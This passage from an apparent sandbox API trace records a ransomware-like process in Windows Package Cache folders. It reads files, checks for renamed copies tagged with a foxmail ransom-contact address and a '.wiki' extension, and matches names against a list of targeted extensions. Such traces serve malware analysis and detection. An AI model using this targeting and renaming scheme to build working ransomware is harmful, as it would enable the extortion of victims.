Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 143 [0173.961] lstrlenW (lpString=".1cd") returned 4 [0173.961] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0173.961] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi") returned 143 [0173.961] lstrlenW (lpString=".jpg") returned 4 [0173.961] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0173.961] lstrcmpiW (lpString1=".rsm", lpString2=".wiki") returned -1 [0173.961] lstrlenW (lpString="state.rsm") returned 9 [0173.961] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0173.961] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=766) returned 1 [0173.961] CloseHandle (hObject=0x1a4) returned 1 [0173.962] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm")) returned 0x20 [0173.962] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.962] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.962] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0173.962] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0173.962] lstrlenW (lpString=".doc") returned 4 [0173.962] lstrcmpiW (lpString1=".doc", lpString2=".rsm") returned -1 [0173.962] lstrlenW (lpString=".docx") returned 5 [0173.962] lstrcmpiW (lpString1=".docx", lpString2="e.rsm") returned -1 [0173.962] lstrlenW (lpString=".pdf") returned 4 [0173.962] lstrcmpiW (lpString1=".pdf", lpString2=".rsm") returned -1 [0173.962] lstrlenW (lpString=".xls") returned 4 [0173.962] lstrcmpiW (lpString1=".xls", lpString2=".rsm") returned 1 [0173.962] lstrlenW (lpString=".xlsx") returned 5 [0173.962] lstrcmpiW (lpString1=".xlsx", lpString2="e.rsm") returned -1 [0173.962] lstrlenW (lpString=".ppt") returned 4 [0173.963] lstrcmpiW (lpString1=".ppt", lpString2=".rsm") returned -1 [0173.963] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0173.963] lstrlenW (lpString=".zip") returned 4 [0173.963] lstrcmpiW (lpString1=".zip", lpString2=".rsm") returned 1 [0173.963] lstrlenW (lpString=".rar") returned 4 [0173.963] lstrcmpiW (lpString1=".rar", lpString2=".rsm") returned -1 [0173.963] lstrlenW (lpString=".bz2") returned 4 [0173.963] lstrcmpiW (lpString1=".bz2", lpString2=".rsm") returned -1 [0173.963] lstrlenW (lpString=".7z") returned 3 [0173.963] lstrcmpiW (lpString1=".7z", lpString2="rsm") returned -1 [0173.963] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0173.963] lstrlenW (lpString=".dbf") returned 4 [0173.963] lstrcmpiW (lpString1=".dbf", lpString2=".rsm") returned -1 [0173.963] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0173.963] lstrlenW (lpString=".1cd") returned 4 [0173.963] lstrcmpiW (lpString1=".1cd", lpString2=".rsm") returned -1 [0173.963] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0173.963] lstrlenW (lpString=".jpg") returned 4 [0173.963] lstrcmpiW (lpString1=".jpg", lpString2=".rsm") returned -1 [0173.963] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0173.963] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0173.963] lstrlenW (lpString=".doc") returned 4 [0173.963] lstrcmpiW (lpString1=".doc", lpString2=".rsm") returned -1 [0173.963] lstrlenW (lpString=".docx") returned 5 [0173.963] lstrcmpiW (lpString1=".docx", lpString2="e.rsm") returned -1 [0173.963] lstrlenW (lpString=".pdf") returned 4 [0173.963] lstrcmpiW (lpString1=".pdf", lpString2=".rsm") returned -1 [0173.963] lstrlenW (lpString=".xls") returned 4 [0173.964] lstrcmpiW (lpString1=".xls", lpString2=".rsm") returned 1 [0173.964] lstrlenW (lpString=".xlsx") returned 5 [0173.964] lstrcmpiW (lpString1=".xlsx", lpString2="e.rsm") returned -1 [0173.964] lstrlenW (lpString=".ppt") returned 4 [0173.964] lstrcmpiW (lpString1=".ppt", lpString2=".rsm") returned -1 [0173.964] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0173.964] lstrlenW (lpString=".zip") returned 4 [0173.964] lstrcmpiW (lpString1=".zip", lpString2=".rsm") returned 1 [0173.964] lstrlenW (lpString=".rar") returned 4 [0173.964] lstrcmpiW (lpString1=".rar", lpString2=".rsm") returned -1 [0173.964] lstrlenW (lpString=".bz2") returned 4 [0173.964] lstrcmpiW (lpString1=".bz2", lpString2=".rsm") returned -1 [0173.964] lstrlenW (lpString=".7z") returned 3 [0173.964] lstrcmpiW (lpString1=".7z", lpString2="rsm") returned -1 [0173.964] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0173.964] lstrlenW (lpString=".dbf") returned 4 [0173.964] lstrcmpiW (lpString1=".dbf", lpString2=".rsm") returned -1 [0173.964] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0173.964] lstrlenW (lpString=".1cd") returned 4 [0173.964] lstrcmpiW (lpString1=".1cd", lpString2=".rsm") returned -1 [0173.964] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 77 [0173.964] lstrlenW (lpString=".jpg") returned 4 [0173.964] lstrcmpiW (lpString1=".jpg", lpString2=".rsm") returned -1 [0173.964] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0173.965] lstrlenW (lpString="VC_redist.x64.exe") returned 17 [0173.965] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0173.965] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=781880) returned 1 [0173.965] CloseHandle (hObject=0x1a4) returned 1 [0173.965] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe")) returned 0x20 [0173.965] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.965] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\vc_redist.x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.965] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0173.965] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0173.965] lstrlenW (lpString=".doc") returned 4 [0173.965] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0173.965] lstrlenW (lpString=".docx") returned 5 [0173.966] lstrcmpiW (lpString1=".docx", lpString2="4.exe") returned -1 [0173.966] lstrlenW (lpString=".pdf") returned 4 [0173.966] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0173.966] lstrlenW (lpString=".xls") returned 4 [0173.966] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0173.966] lstrlenW (lpString=".xlsx") returned 5 [0173.966] lstrcmpiW (lpString1=".xlsx", lpString2="4.exe") returned -1 [0173.966] lstrlenW (lpString=".ppt") returned 4 [0173.966] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0173.966] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0173.966] lstrlenW (lpString=".zip") returned 4 [0173.966] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0173.966] lstrlenW (lpString=".rar") returned 4 [0173.966] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0173.966] lstrlenW (lpString=".bz2") returned 4 [0173.966] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0173.966] lstrlenW (lpString=".7z") returned 3 [0173.966] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0173.966] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0173.966] lstrlenW (lpString=".dbf") returned 4 [0173.966] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0173.966] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0173.966] lstrlenW (lpString=".1cd") returned 4 [0173.966] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0173.966] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0173.966] lstrlenW (lpString=".jpg") returned 4 [0173.966] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0173.966] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0173.966] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0173.967] lstrlenW (lpString=".doc") returned 4 [0173.967] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0173.967] lstrlenW (lpString=".docx") returned 5 [0173.967] lstrcmpiW (lpString1=".docx", lpString2="4.exe") returned -1 [0173.967] lstrlenW (lpString=".pdf") returned 4 [0173.967] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0173.967] lstrlenW (lpString=".xls") returned 4 [0173.967] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0173.967] lstrlenW (lpString=".xlsx") returned 5 [0173.967] lstrcmpiW (lpString1=".xlsx", lpString2="4.exe") returned -1 [0173.967] lstrlenW (lpString=".ppt") returned 4 [0173.967] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0173.967] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0173.967] lstrlenW (lpString=".zip") returned 4 [0173.967] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0173.967] lstrlenW (lpString=".rar") returned 4 [0173.967] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0173.967] lstrlenW (lpString=".bz2") returned 4 [0173.967] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0173.967] lstrlenW (lpString=".7z") returned 3 [0173.967] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0173.967] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0173.967] lstrlenW (lpString=".dbf") returned 4 [0173.967] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0173.967] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0173.967] lstrlenW (lpString=".1cd") returned 4 [0173.967] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0173.967] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 85 [0173.968] lstrlenW (lpString=".jpg") returned 4 [0173.968] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0173.968] lstrcmpiW (lpString1=".rsm", lpString2=".wiki") returned -1 [0173.968] lstrlenW (lpString="state.rsm") returned 9 [0173.968] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0173.968] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=666) returned 1 [0173.968] CloseHandle (hObject=0x1a4) returned 1 [0173.968] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm")) returned 0x20 [0173.968] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.968] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.969] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0173.969] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0173.969] lstrlenW (lpString=".doc") returned 4 [0173.969] lstrcmpiW (lpString1=".doc", lpString2=".rsm") returned -1 [0173.969] lstrlenW (lpString=".docx") returned 5 [0173.969] lstrcmpiW (lpString1=".docx", lpString2="e.rsm") returned -1 [0173.969] lstrlenW (lpString=".pdf") returned 4 [0173.969] lstrcmpiW (lpString1=".pdf", lpString2=".rsm") returned -1 [0173.969] lstrlenW (lpString=".xls") returned 4 [0173.969] lstrcmpiW (lpString1=".xls", lpString2=".rsm") returned 1 [0173.969] lstrlenW (lpString=".xlsx") returned 5 [0173.969] lstrcmpiW (lpString1=".xlsx", lpString2="e.rsm") returned -1 [0173.969] lstrlenW (lpString=".ppt") returned 4 [0173.969] lstrcmpiW (lpString1=".ppt", lpString2=".rsm") returned -1 [0173.969] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0173.969] lstrlenW (lpString=".zip") returned 4 [0173.969] lstrcmpiW (lpString1=".zip", lpString2=".rsm") returned 1 [0173.969] lstrlenW (lpString=".rar") returned 4 [0173.969] lstrcmpiW (lpString1=".rar", lpString2=".rsm") returned -1 [0173.969] lstrlenW (lpString=".bz2") returned 4 [0173.969] lstrcmpiW (lpString1=".bz2", lpString2=".rsm") returned -1 [0173.969] lstrlenW (lpString=".7z") returned 3 [0173.969] lstrcmpiW (lpString1=".7z", lpString2="rsm") returned -1 [0173.969] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0173.969] lstrlenW (lpString=".dbf") returned 4 [0173.969] lstrcmpiW (lpString1=".dbf", lpString2=".rsm") returned -1 [0173.969] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0173.969] lstrlenW (lpString=".1cd") returned 4 [0173.970] lstrcmpiW (lpString1=".1cd", lpString2=".rsm") returned -1 [0173.970] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0173.970] lstrlenW (lpString=".jpg") returned 4 [0173.970] lstrcmpiW (lpString1=".jpg", lpString2=".rsm") returned -1 [0173.970] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0173.970] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0173.970] lstrlenW (lpString=".doc") returned 4 [0173.970] lstrcmpiW (lpString1=".doc", lpString2=".rsm") returned -1 [0173.970] lstrlenW (lpString=".docx") returned 5 [0173.970] lstrcmpiW (lpString1=".docx", lpString2="e.rsm") returned -1 [0173.970] lstrlenW (lpString=".pdf") returned 4 [0173.970] lstrcmpiW (lpString1=".pdf", lpString2=".rsm") returned -1 [0173.970] lstrlenW (lpString=".xls") returned 4 [0173.970] lstrcmpiW (lpString1=".xls", lpString2=".rsm") returned 1 [0173.970] lstrlenW (lpString=".xlsx") returned 5 [0173.970] lstrcmpiW (lpString1=".xlsx", lpString2="e.rsm") returned -1 [0173.970] lstrlenW (lpString=".ppt") returned 4 [0173.970] lstrcmpiW (lpString1=".ppt", lpString2=".rsm") returned -1 [0173.970] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0173.970] lstrlenW (lpString=".zip") returned 4 [0173.970] lstrcmpiW (lpString1=".zip", lpString2=".rsm") returned 1 [0173.970] lstrlenW (lpString=".rar") returned 4 [0173.970] lstrcmpiW (lpString1=".rar", lpString2=".rsm") returned -1 [0173.970] lstrlenW (lpString=".bz2") returned 4 [0173.970] lstrcmpiW (lpString1=".bz2", lpString2=".rsm") returned -1 [0173.970] lstrlenW (lpString=".7z") returned 3 [0173.971] lstrcmpiW (lpString1=".7z", lpString2="rsm") returned -1 [0173.971] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0173.971] lstrlenW (lpString=".dbf") returned 4 [0173.971] lstrcmpiW (lpString1=".dbf", lpString2=".rsm") returned -1 [0173.971] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0173.971] lstrlenW (lpString=".1cd") returned 4 [0173.971] lstrcmpiW (lpString1=".1cd", lpString2=".rsm") returned -1 [0173.971] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 77 [0173.971] lstrlenW (lpString=".jpg") returned 4 [0173.971] lstrcmpiW (lpString1=".jpg", lpString2=".rsm") returned -1 [0173.971] lstrcmpiW (lpString1=".exe", lpString2=".wiki") returned -1 [0173.971] lstrlenW (lpString="vcredist_x86.exe") returned 16 [0173.971] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0173.973] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=462976) returned 1 [0173.973] CloseHandle (hObject=0x1a4) returned 1 [0173.973] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe")) returned 0x20 [0173.973] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.973] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.973] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0173.973] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0173.973] lstrlenW (lpString=".doc") returned 4 [0173.973] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0173.973] lstrlenW (lpString=".docx") returned 5 [0173.973] lstrcmpiW (lpString1=".docx", lpString2="6.exe") returned -1 [0173.973] lstrlenW (lpString=".pdf") returned 4 [0173.973] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0173.973] lstrlenW (lpString=".xls") returned 4 [0173.974] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0173.974] lstrlenW (lpString=".xlsx") returned 5 [0173.974] lstrcmpiW (lpString1=".xlsx", lpString2="6.exe") returned -1 [0173.974] lstrlenW (lpString=".ppt") returned 4 [0173.974] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0173.974] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0173.974] lstrlenW (lpString=".zip") returned 4 [0173.974] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0173.974] lstrlenW (lpString=".rar") returned 4 [0173.974] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0173.974] lstrlenW (lpString=".bz2") returned 4 [0173.974] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0173.974] lstrlenW (lpString=".7z") returned 3 [0173.974] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0173.974] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0173.974] lstrlenW (lpString=".dbf") returned 4 [0173.974] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0173.974] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0173.974] lstrlenW (lpString=".1cd") returned 4 [0173.974] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0173.974] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0173.974] lstrlenW (lpString=".jpg") returned 4 [0173.974] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0173.974] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0173.974] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0173.974] lstrlenW (lpString=".doc") returned 4 [0173.974] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0173.975] lstrlenW (lpString=".docx") returned 5 [0173.975] lstrcmpiW (lpString1=".docx", lpString2="6.exe") returned -1 [0173.975] lstrlenW (lpString=".pdf") returned 4 [0173.975] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0173.975] lstrlenW (lpString=".xls") returned 4 [0173.975] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0173.975] lstrlenW (lpString=".xlsx") returned 5 [0173.975] lstrcmpiW (lpString1=".xlsx", lpString2="6.exe") returned -1 [0173.975] lstrlenW (lpString=".ppt") returned 4 [0173.975] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0173.975] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0173.975] lstrlenW (lpString=".zip") returned 4 [0173.975] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0173.975] lstrlenW (lpString=".rar") returned 4 [0173.975] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0173.975] lstrlenW (lpString=".bz2") returned 4 [0173.975] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0173.975] lstrlenW (lpString=".7z") returned 3 [0173.975] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0173.975] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0173.975] lstrlenW (lpString=".dbf") returned 4 [0173.975] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0173.975] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0173.975] lstrlenW (lpString=".1cd") returned 4 [0173.975] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0173.975] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 84 [0173.975] lstrlenW (lpString=".jpg") returned 4 [0174.130] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0174.130] lstrcmpiW (lpString1=".0\\SharedDataEvents", lpString2=".wiki") returned -1 [0174.130] lstrlenW (lpString="SharedDataEvents") returned 16 [0174.130] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\SharedDataEvents" (normalized: "c:\\users\\5p5nrgjn0js 